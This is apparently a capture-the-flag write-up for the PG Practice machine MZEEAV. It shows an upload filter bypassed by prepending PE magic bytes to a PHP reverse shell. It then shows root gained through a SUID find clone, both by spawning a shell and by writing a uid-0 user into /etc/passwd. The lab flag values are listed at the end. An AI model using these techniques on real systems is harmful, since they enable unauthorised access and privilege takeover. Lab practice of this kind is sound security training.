MZEEAV_writeup

Author: Hans
Platform: PG Practice
Difficulty: N/A
Operating System: Linux


Summary

MZEEAV serves a file upload page that checks uploads for the PE (.exe) magic bytes (4D 5A) before accepting them, apparently intended as a basic anti-virus style filter. Prepending those magic bytes to a PHP reverse shell bypassed the check and gave code execution as www-data. Privilege escalation abused a SUID binary at /opt/fileS, a renamed clone of the find command, using GTFOBins' find techniques to write a root-equivalent user directly into /etc/passwd.


Service Enumeration

Nmap

nmap -sCV -oN scans/tcp.nmap $IP
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP

Open ports: 22 (OpenSSH 8.4p1 Debian), 80 (Apache 2.4.56, "MZEE-AV - Check your files"). UDP scan returned mostly open|filtered results, nothing confirmed open.

Web (80)

Main page:

Uploading a random .md file was rejected, suggesting a file-type filter:

feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o scans/ferox.md

Notable results: /upload/, /backups/ (directory listing enabled), and /backups/backup.zip.

unzip backup.zip -d backup

The archive contained the site source, including upload.php:

$tmp_location = "upload/file.tmp";
$location = "upload/".$filename;
move_uploaded_file($_FILES['file']['tmp_name'], $tmp_location);
$F=fopen($tmp_location,"r");
$magic=fread($F,2);
fclose($F);
$magicbytes = strtoupper(substr(bin2hex($magic),0,4));
if ( strpos($magicbytes, '4D5A') === false ) {
    echo "Error no valid PEFILE\n";
    exit ();
}
rename($tmp_location, $location);

The uploaded file is saved as file.tmp, checked for the PE magic bytes (4D 5A), and only renamed to its real name (making it reachable and executable) if the check passes.


Initial Access - Magic Byte Bypass to PHP Webshell

Prepended the PE magic bytes to a PHP reverse shell (PentestMonkey, via revshells.com):

echo '4D 5A' | xxd -p -r >> shell.php
cat shell.php.bak >> shell.php

Uploaded shell.php, which passed the filter and was renamed to its real filename:

Started a listener and requested the uploaded shell:

Stabilized the shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

then stty raw -echo; fg on the attacking machine and export TERM=xterm in the shell.

local.txt found under /home/avuser:

cd /home/avuser
whoami && hostname && cat local.txt


Privilege Escalation - SUID find Clone (/opt/fileS)

Manual checks (sudo -l, cron) turned up nothing. A SUID search found an unusual binary:

find / -perm -4000 -type f 2>/dev/null
/opt/fileS

/opt/fileS could not be read but could be executed, and its output and --help text matched the find command exactly:

/opt/fileS
find

Both produced identical directory listings, confirming it's a renamed/cloned find binary with the SUID bit set — the same technique GTFOBins documents for find.

Spawning a shell directly dropped privileges initially (a mistake corrected later in the Bonus section):

/opt/fileS . -exec /bin/sh \; -quit

Confirmed the SUID write primitive worked by writing a test file, which came back owned by root:

/opt/fileS / -fprintf /tmp/test DATA -quit

Used the same -fprintf technique to write a copy of /etc/passwd plus an added hacker::0:0::/root:/bin/bash line, first testing against /tmp/testpasswd, then against /etc/passwd directly. The GTFOBins find write primitive uses a format string, so whitespace, brackets, and newlines in the payload needed escaping.

/opt/fileS / -fprintf /etc/passwd <passwd content with hacker::0:0::/root:/bin/bash appended, escaped> -quit

proof.txt found under /root:

su - hacker
whoami && hostname && cat proof.txt

Bonus - simpler shell spawn: GTFOBins notes that -p should be passed to /bin/sh on distributions where the default shell doesn't drop SUID privileges. Retrying the original shell spawn with that flag worked directly:

/opt/fileS . -exec /bin/sh -p \; -quit
whoami && hostname && cat /root/proof.txt

Flags

Flag Value
local.txt e7fd0d815bff9915778436acb2c20495
proof.txt 00e53661e0f633cdf3daf6895d267a38